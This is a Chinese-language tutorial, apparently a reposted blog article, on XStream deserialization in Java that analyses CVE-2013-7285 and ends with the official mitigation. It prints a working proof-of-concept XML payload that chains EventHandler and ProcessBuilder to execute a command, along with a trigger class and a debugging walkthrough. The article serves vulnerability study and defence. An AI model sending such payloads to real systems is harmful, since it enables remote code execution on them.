主頁 >  其他 > Java 反序列化之 XStream 反序列化

Java 反序列化之 XStream 反序列化

2023-06-26 08:48:25 其他

0x01 XStream 基礎

XStream 簡介

XStream 是一個簡單的基于 Java 庫,Java 物件序列化到 XML,反之亦然(即:可以輕易的將 Java 物件和 XML 檔案相互轉換),

使用 XStream 實作序列化與反序列化

下面看下如何使用 XStream 進行序列化和反序列化操作的,

先定義介面類

IPerson.java

public interface IPerson {  
    void output();  
}

接著定義 Person 類實作前面的介面:

public class Person implements IPerson {  
    String name;  
    int age;  
  
    public void output() {  
        System.out.print("Hello, this is " + this.name + ", age " + this.age);  
    }  
}

XStream 序列化是呼叫 XStream.toXML() 來實作的:

public class Serialize {  
    public static void main(String[] args) {  
        Person p = new Person();  
        p.age = 6;  
        p.name = "Drunkbaby";  
        XStream xstream = new XStream(new DomDriver());  
        String xml = xstream.toXML(p);  
        System.out.println(xml);  
    }  
}

XStream 反序列化是用過呼叫 XStream.fromXML() 來實作的,其中獲取 XML 檔案內容的方式可以通過 Scanner() 或 FileInputStream 都可以:

Deserialize.java

import com.thoughtworks.xstream.XStream;  
import com.thoughtworks.xstream.io.xml.DomDriver;  
  
import java.io.File;  
import java.io.FileInputStream;  
import java.io.FileNotFoundException;  
import java.util.Scanner;  
  
public class Deserialize {  
    public static void main(String[] args) throws FileNotFoundException {  
//        String xml = new Scanner(new File("person.xml")).useDelimiter("\\Z").next();  
        FileInputStream xml = new FileInputStream("G:\\OneDrive - yapuu\\Java安全學習\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");  
        XStream xstream = new XStream(new DomDriver());  
        Person p = (Person) xstream.fromXML(xml);  
        p.output();  
    }  
}

XStream 幾個部分

XStream 類圖,參考XStream 原始碼決議:

主要分為四個部分:

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

MarshallingStrategy 編碼策略

  • marshall : object->xml 編碼

  • unmarshall : xml-> object 解碼

兩個重要的實作類:

  • com.thoughtworks.xstream.core.TreeMarshaller : 樹編組程式

  • 呼叫 Mapper 和 Converter 把 XML 轉化成 Java 物件

其中的 start 方法開始編組

其中呼叫了 this.convertAnother(item) 方法

convertAnother 方法的作用是把 XML 轉化成 Java 物件,

Mapper 映射器

簡單來說就是通過 mapper 獲取物件對應的類、成員、Field 屬性的 Class 物件,賦值給 XML 的標簽欄位,

Converter 轉換器

XStream 為 Java 常見的型別提供了 Converter 轉換器,轉換器注冊中心是 XStream 組成的核心部分,

轉換器的職責是提供一種策略,用于將物件圖中找到的特定型別的物件轉換為 XML 或將 XML 轉換為物件,

簡單地說,就是輸入 XML 后它能識別其中的標簽欄位并轉換為相應的物件,反之亦然,

轉換器需要實作 3 個方法,這三個方法分別是來自于 Converter 類以及它的父類 ConverterMatcher

  • canConvert 方法:告訴 XStream 物件,它能夠轉換的物件;

  • marshal 方法:能夠將物件轉換為 XML 時候的具體操作;

  • unmarshal 方法:能夠將 XML 轉換為物件時的具體操作;

具體參考:http://x-stream.github.io/converters.html

這里告訴了我們針對各種物件,XStream 都做了哪些支持,

EventHandler 類

EventHandler 類為動態生成事件偵聽器提供支持,這些偵聽器的方法執行一條涉及傳入事件物件和目標物件的簡單陳述句,

EventHandler 類是實作了 InvocationHandler 的一個類,設計本意是為互動工具提供 beans,建立從用戶界面到應用程式邏輯的連接,

EventHandler 類定義的代碼如下,其含有 target 和 action 屬性,在 EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke() 的函式呼叫鏈中,會將前面兩個屬性作為類方法和參數繼續反射呼叫:

public class EventHandler implements InvocationHandler {  
    private Object target;  
    private String action;  
    ...  
      
    public Object invoke(final Object proxy, final Method method, final Object[] arguments) {  
        ...  
                return invokeInternal(proxy, method, arguments);  
        ...  
    }  
      
    private Object invokeInternal(Object proxy, Method method, Object[] arguments) {  
        ...  
              
                Method targetMethod = Statement.getMethod(  
                             target.getClass(), action, argTypes);  
                ...  
                return MethodUtil.invoke(targetMethod, target, newArgs);  
            }  
            ...  
    }  
  
    ...  
}

這里重點看下 EventHandler.invokeInternal() 函式的代碼邏輯,如注釋:

private Object invokeInternal(Object var1, Method var2, Object[] var3) {  
//-------------------------------------part1----------------------------------  
//作用:獲取interface的name,即獲得Comparable,檢查name是否等于以下3個名稱  
        String var4 = var2.getName();  
        if (var2.getDeclaringClass() == Object.class) {  
            if (var4.equals("hashCode")) {  
                return new Integer(System.identityHashCode(var1));  
            }  
  
            if (var4.equals("equals")) {  
                return var1 == var3[0] ? Boolean.TRUE : Boolean.FALSE;  
            }  
  
            if (var4.equals("toString")) {  
                return var1.getClass().getName() + '@' + Integer.toHexString(var1.hashCode());  
            }  
        }  
//-------------------------------------part2----------------------------------  
//貌似獲取了一個class和object  
        if (this.listenerMethodName != null && !this.listenerMethodName.equals(var4)) {  
            return null;  
        } else {  
            Class[] var5 = null;  
            Object[] var6 = null;  
            if (this.eventPropertyName == null) {  
                var6 = new Object[0];  
                var5 = new Class[0];  
            } else {  
                Object var7 = this.applyGetters(var3[0], this.getEventPropertyName());  
                var6 = new Object[]{var7};  
                var5 = new Class[]{var7 == null ? null : var7.getClass()};  
            }  
//------------------------------------------------------------------------------  
            try {  
                int var12 = this.action.lastIndexOf(46);  
                if (var12 != -1) {  
                    this.target = this.applyGetters(this.target, this.action.substring(0, var12));  
                    this.action = this.action.substring(var12 + 1);  
                }  
//--------------------------------------part3----------------------------------------  
//var13獲取了method的名稱, var13=public java.lang.Process java.lang.ProcessBuilder.start() throws java.io.IOException  
                Method var13 = Statement.getMethod(this.target.getClass(), this.action, var5);  
//--------------------------------------------------------------------------  
//判斷var13是否為空,當然不為空啦  
                if (var13 == null) {  
                    var13 = Statement.getMethod(this.target.getClass(), "set" + NameGenerator.capitalize(this.action), var5);  
                }  
  
                if (var13 == null) {  
                    String var9 = var5.length == 0 ? " with no arguments" : " with argument " + var5[0];  
                    throw new RuntimeException("No method called " + this.action + " on " + this.target.getClass() + var9);  
                } else {  
//-------------------------------------part4----------------------------------  
//呼叫invoke,呼叫函式,執行命令  
                    return MethodUtil.invoke(var13, this.target, var6);  
                }  
//------------------------------------------------------------------------------  
            } catch (IllegalAccessException var10) {  
                throw new RuntimeException(var10);  
            } catch (InvocationTargetException var11) {  
                Throwable var8 = var11.getTargetException();  
                throw var8 instanceof RuntimeException ? (RuntimeException)var8 : new RuntimeException(var8);  
            }  
        }  
}

有一說一看到這里的時候,就感覺 XStream 可能比較多的會通過動態代理作為 sink

DynamicProxyConverter 動態代理轉換器

DynamicProxyConverter 即動態代理轉換器,是 XStream 支持的一種轉換器,其存在使得 XStream 能夠把 XML 內容反序列化轉換為動態代理類物件:

XStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 這個轉換器為基礎來撰寫的,

以官網給的例子為例:

<dynamic-proxy>  
  <interface>com.foo.Blah</interface>  
  <interface>com.foo.Woo</interface>  
  <handler >  
    <something>blah</something>  
  </handler>  
</dynamic-proxy>

dynamic-proxy 標簽在 XStream 反序列化之后會得到一個動態代理類物件,當訪問了該物件的com.foo.Blah 或 com.foo.Woo 這兩個介面類中宣告的方法時(即 interface 標簽內指定的介面類),就會呼叫 handler 標簽中的類方法 com.foo.MyHandler

0x02 CVE-2013-7285

PoC

<sorted-set>  
  <dynamic-proxy>  
    <interface>java.lang.Comparable</interface>  
    <handler >  
      <target >  
        <command>  
          <string>Calc</string>  
        </command>  
      </target>  
      <action>start</action>  
    </handler>  
  </dynamic-proxy>  
</sorted-set>

看到 PoC 這里大致是明白了,在之前有一段代碼是讀取每一個 XML 的節點,讀取這些節點之后應該是用動態代理觸發 invoke() 了

觸發代碼

import com.thoughtworks.xstream.XStream;  
import com.thoughtworks.xstream.io.xml.DomDriver;  
  
import java.io.FileInputStream;  
  
// CVE_2013_7285 Exploit  
public class CVE_2013_7285 {  
    public static void main(String[] args) throws Exception{  
        FileInputStream fileInputStream = new FileInputStream("G:\\OneDrive - yapuu\\Java安全學習\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");  
        XStream xStream = new XStream(new DomDriver());  
        xStream.fromXML(fileInputStream);  
    }  
}

漏洞原理

XStream 反序列化漏洞的存在是因為 XStream 支持一個名為 DynamicProxyConverter 的轉換器,該轉換器可以將 XML 中 dynamic-proxy 標簽內容轉換成動態代理類物件,而當程式呼叫了 dynamic-proxy 標簽內的 interface 標簽指向的介面類宣告的方法時,就會通過動態代理機制代理訪問 dynamic-proxy 標簽內 handler 標簽指定的類方法,

利用這個機制,攻擊者可以構造惡意的XML內容,即 dynamic-proxy 標簽內的 handler 標簽指向如 EventHandler 類這種可實作任意函式反射呼叫的惡意類、interface 標簽指向目標程式必然會呼叫的介面類方法;最后當攻擊者從外部輸入該惡意 XML 內容后即可觸發反序列化漏洞、達到任意代碼執行的目的,

漏洞分析

下斷點除錯一下,這里前面的流程和分析 XStream 流程是類似的,會呼叫HierarchicalStreams.readClassType() 來獲取到 PoC XML 中根標簽的型別別

后面會跟進到 mapper.realClass() 進行回圈遍歷,用來查找 XML 中的根標簽為何型別(前面也都分析過了),接著是呼叫 convertAnother() 函式對 java.util.SortedSet 型別進行轉換,我們跟進去該函式,其中呼叫 mapper.defaultImplementationOf() 函式來尋找 java.util.SortedSet 型別的默認實作型別進行替換,這里轉換為了 java.util.TreeSet 型別

接著就是尋找 Convert 的程序,這里尋找到對應的轉換器是 TreeMapConverter 轉換器

往下除錯,在 AbstractReferenceUnmarshaller.convert() 函式中看到,會呼叫 getCurrentReferenceKey() 來獲取當前的 Reference 鍵,并且會將當前的 Reference 鍵壓到堆疊中,這個 Reference 鍵后續會和保存的型別 —— java.util.TreeSet 類一一對應起來,

接著呼叫其父類即的 FastStack.convert() 方法,跟進去,顯示將型別壓入堆疊,然后呼叫轉換器 TreeSetConverter 的 unmarshal() 方法:

在它第 61 行呼叫了 treeMapConverter.unmarshalComparator() 方法,這個方法獲取到了第二個 XML 節點元素,這個方法當時漏看了,這個方法還是比較重要的,它獲取到了 xml 根元素的子元素,

跟進之后就變得一目了然了,其中判斷 reader 是否還有子元素

下面的 reader.movedown() 方法做了獲取子元素,并把子元素添加到當前 context 的 pathTracker

往下除錯,在 TreeSetConverter.unmarshal() 方法中呼叫了 this.treeMapConverter.populateTreeMap(),從這個方法開始,XStream 開始處理了 XML 里面其他的節點元素,跟進該函式,先判斷是否是第一個元素,是的話就呼叫 putCurrentEntryIntoMap()函式,即將當前內容快取到 Map 中:

跟進去,發現呼叫 readItem() 方法讀取標簽內的內容并快取到當前 Map 中

這里再跟進 readItem() 方法,會發現比較有意思的一點是它又呼叫了 HierarchicalStreams.readClassType() 和 context.convertAnother() 方法,而這里的元素已經變成了第二個元素,也就是 <dynamic-proxy>,這里有點像是遞回呼叫

可以跟進去看一下,這里通過查看 mapper 可以知道目前拿去保存在 mapper 當中的還是兩個元素,而 XStream 的處理,則會處理最新的一個(最里層的一個)

經過處理之后回傳的 type 就為最新的一個子元素的型別,這里是 com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,對應的轉換器為 DynamicProxyConverter,跟進到其中來看具體處理,

先判斷當前元素是否還有子元素,并獲取該子元素進行后續判斷

根據我們所撰寫的 xml,獲取到的子元素為 <interface>,經過判斷 if (elementName.equals("interface")),如果為 true,則將目前 <interface> 節點的元素獲取到,再獲得轉換型別,

因為仍舊存在子元素,獲取完 <interface> 后重新進入這個迭代,下一個獲取到的子元素是 <handler>,這里程式會判斷是否等于 handler,如果等于 handler,則獲取它標簽所對應的類,并跳出迭代,

往下走,第 125 行呼叫了 Proxy.newProxyInstance() 方法,這里是動態代理中的,實體化代理類的程序,第 127 行這里,呼叫 context.convertAnother() 方法,跟進一下,對應的轉換器是 AbstractReflectionConverter,它會先呼叫 instantiateNewInstance() 方法實體化一個 EventHandler 類

往下,跟進 doUnmarshal() 方法,這里又是一層內部遞回,從 xml 中可以看到 <handler> 節點之下還有很多子節點(又看到了熟悉的 hasChildren()

這時我們獲取到的 type 為 class java.lang.ProcessBuilder,跟進 unmarshallField() 方法

后面也都是類似的運行流程了,這里就不再廢話,師傅們可以自行分析一下,是很容易看懂的;XSteam 雖然處理了 xml,且我們也基本明白了基礎運行流程,但是最后漏洞觸發這里還是要關注一下,

將所有的節點過完一遍之后,最侄訓是會走到 treeMapConverter.populateTreeMap() 這個地方

跟進,直到第 122 行,呼叫 put.All() 方法,里面的變數為 sortedMap,查看一下它的值可以發現這是一串鏈式存盤的資料

最終是呼叫到 EventHandler.invoke() 方法呼叫堆疊如下,還是比較簡單的

invoke:428, EventHandler (java.beans)
compareTo:-1, $Proxy0 (com.sun.proxy)
compare:1294, TreeMap (java.util)
put:538, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)

最后成功呼叫了 java.lang.ProcessBuilder#start 方法,命令執行

0x03 漏洞修復

根據官方的修復手段,這里其實增加了黑名單

Users can register an own converter for dynamic proxies, the java.beans.EventHandler type or for the java.lang.ProcessBuilder type, that also protects against an attack for this special case:

xstream.registerConverter(new Converter() {
  public boolean canConvert(Class type) {
    return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type));
  }
?
  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }
?
  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }
}, XStream.PRIORITY_LOW);

0x04 小結

XStream 最基礎的漏洞是 CVE-2013-7285,通過這個漏洞可以很好的先認識 XStream 的基礎運行流程,后續的漏洞挖掘和修復也算是一些《攻防史》,還是比較有意思的,

更多網安技能的在線實操練習,請點擊這里>>

 

合天智匯:合天網路靶場、網安實戰虛擬環境

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/555945.html

標籤:其他

上一篇:Python 中的 JSON 操作:簡單、高效的資料交換格式

下一篇:返回列表

標籤雲
其他(161594) Python(38248) JavaScript(25513) Java(18259) C(15238) 區塊鏈(8272) C#(7972) AI(7469) 爪哇(7425) MySQL(7266) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5875) 数组(5741) R(5409) Linux(5347) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4606) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2437) ASP.NET(2404) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) .NET技术(1984) HtmlCss(1971) 功能(1967) Web開發(1951) C++(1942) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1881) .NETCore(1863) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • Java 反序列化之 XStream 反序列化

    XStream 是一個簡單的基于 Java 庫,Java 物件序列化到 XML,反之亦然(即:可以輕易的將 Java 物件和 XML 檔案相互轉換)。如何使用 XStream 進行序列化和反序列化操作? ......

    uj5u.com 2023-06-26 08:48:25 more
  • Python 中的 JSON 操作:簡單、高效的資料交換格式

    > 在現代的資料交換和存盤中,JSON(JavaScript Object Notation)作為一種輕量級的資料交換格式,備受青睞。它不僅易于閱讀和理解,還可以靈活地表達和存盤高維資料。本文將介紹如何在 Python 中操作 JSON 檔案,實作資料的序列化和反序列化。 ## 1. JSON 資料 ......

    uj5u.com 2023-06-26 08:41:53 more
  • 如何重繪 DNS 快取 (macOS, Linux, Windows)

    如何重繪 DNS 快取 (macOS, Linux, Windows) Unix Linux Windows 如何重繪 DNS 快取 (macOS, FreeBSD, RHEL, CentOS, Debian, Ubuntu, Windows) 請訪問原文鏈接:,查看最新版。原創作品,轉載請保留出處 ......

    uj5u.com 2023-06-26 08:41:49 more
  • 為醫生打造專屬數字分身!華為云聯合萬木健康打造醫療醫學科普和患

    摘要:如今,醫生出鏡的視頻已經成為喜聞樂見的醫學科普和患者教育手段,但醫生難以抽出時間拍攝、拍攝時間較長、成本較高等制作痛點也日益凸顯。對此,國內首個醫生AI數字人運營服務商——成都萬木健康科技有限公司找到了破局之法。 本文分享自華為云社區《為醫生打造專屬數字分身!華為云聯合萬木健康打造醫療醫學科普 ......

    uj5u.com 2023-06-26 08:41:38 more
  • AI室內設計:提升效率、消除溝通障礙,滿足客戶需求

    AI繪畫工具(例:https://www.topgpt.one)的應用大大提高了室內設計師的作業效率。傳統的手繪效果圖需要耗費大量的時間和精力,而AI繪畫工具能夠快速生成高質量的效果圖。設計師只需輸入相關引數和設計要求,AI工具就能夠根據這些資訊自動生成具有逼真效果的室內設計圖。這不僅節省了設計師的... ......

    uj5u.com 2023-06-26 08:40:46 more
  • 使用ansible-app2k8s管理和部署服務到 kubernetes

    - 使用 ansible 管理和部署服務到 kubernetes
    - 適用于專案容器化,多套 k8s 環境的管理,可結合`CICD`工具做`DevOps`
    - 來自于專案實踐,已部署多套 k8s 環境 ......

    uj5u.com 2023-06-26 08:40:12 more
  • 基于k6和python進行自動化性能測驗

    摘要:在性能測驗中,達到相應的性能指標對于一個軟體來說十分重要,在本文中,將介紹一種現代化性能測驗工具k6。 本文分享自華為云社區《基于k6和python進行自動化性能測驗》,作者: 風做了云的夢。 當我們開發完成一個應用程式時,往往需要對其進行性能測驗,以幫助我們更好的優化程式以及發現程式中的一些 ......

    uj5u.com 2023-06-26 08:39:58 more
  • 深度Q網路:DQN專案實戰CartPole-v0

    摘要:相比于Q learning,DQN本質上是為了適應更為復雜的環境,并且經過不斷的改良迭代,到了Nature DQN(即Volodymyr Mnih發表的Nature論文)這里才算是基本完善。 本文分享自華為云社區《強化學習從基礎到進階-案例與實踐[4.1]:深度Q網路-DQN專案實戰CartP ......

    uj5u.com 2023-06-26 08:39:50 more
  • Midjouney限時免費體驗

    免費體驗Midjourney:https://www.topgpt.one;常見的繪畫風格:室內設計、兒童插畫、表情包制作相關風格都有介紹如何制作,midjourney的強大,只有在使用的時候才能充分體驗。若您想要獲得Midjourney中英對照辭典,請在公眾號回復“mj辭典”。AI已經滲透到各行各... ......

    uj5u.com 2023-06-26 08:34:21 more
  • Terraform 系列-使用 for-each 對本地 json 進行迭代

    ## 系列文章 * [Terraform 系列文章](https://ewhisper.cn/tags/Terraform/) * [Grafana 系列文章](https://ewhisper.cn/tags/Grafana/) ## 概述 前文 [Grafana 系列 - Grafana Ter ......

    uj5u.com 2023-06-26 08:29:07 more